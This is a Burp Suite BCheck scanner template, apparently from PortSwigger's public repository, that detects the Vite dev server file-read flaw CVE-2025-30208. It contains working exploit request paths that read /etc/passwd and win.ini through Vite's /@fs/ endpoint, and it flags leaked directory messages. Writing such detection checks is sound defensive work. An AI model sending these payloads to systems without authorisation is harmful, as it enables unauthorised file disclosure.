BChecks/vulnerabilities-CVEd/CVE-2025-30208_Vite_dev_server.bcheck at main · PortSwigger/BChecks · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
metadata:
    language: v2-beta
    name: "[CVE-2025-30208] Vite @fs File Read or Directory Leak"
    description: "Detects file read or restricted directory disclosure in Vite dev servers"
    author: "Fedrick Sequeira @ Accenture"
    tags: "vite", "file-read", "directory-leak", "CVE-2025-30208"

define:
    fs_block_msg = "vite serving allow list"

given host then
    send request called check1:
        method: "GET"
        path: "/@fs/etc/passwd?raw??"

    if {check1.response.status_code} is "200" and
    "root:x:0:0:" in {to_lower(check1.response.body)} then
        report issue:
            severity: high
            confidence: certain
            detail: "Vite dev server exposes /etc/passwd via /@fs/. (CVE-2025-30208)"
            remediation: "Update Vite and never expose dev servers publicly."
    end if

    send request called check2:
        method: "GET"
        path: "/@fs/C:/Windows/win.ini?raw??"

    if {check2.response.status_code} is "200" and
    "[fonts]" in {to_lower(check2.response.body)} then
        report issue:
            severity: high
            confidence: certain
            detail: "Vite dev server exposes win.ini via /@fs/. (CVE-2025-30208)"
            remediation: "Update Vite and never expose dev servers publicly."
    end if

    if ({check1.response.status_code} is "403") or
    ({check2.response.status_code} is "403") and
    ({fs_block_msg} in {to_lower(check1.response.body)}) or
    ({fs_block_msg} in {to_lower(check2.response.body)}) then
        report issue:
            severity: medium
            confidence: firm
            detail: "Vite dev server reveals the base directory in 403 error response: possible local file read **within the project directory** (e.g., `src`, `.env`, etc.)."
            remediation: "Restrict or disable /@fs/ in production and sanitize error messages."
    end if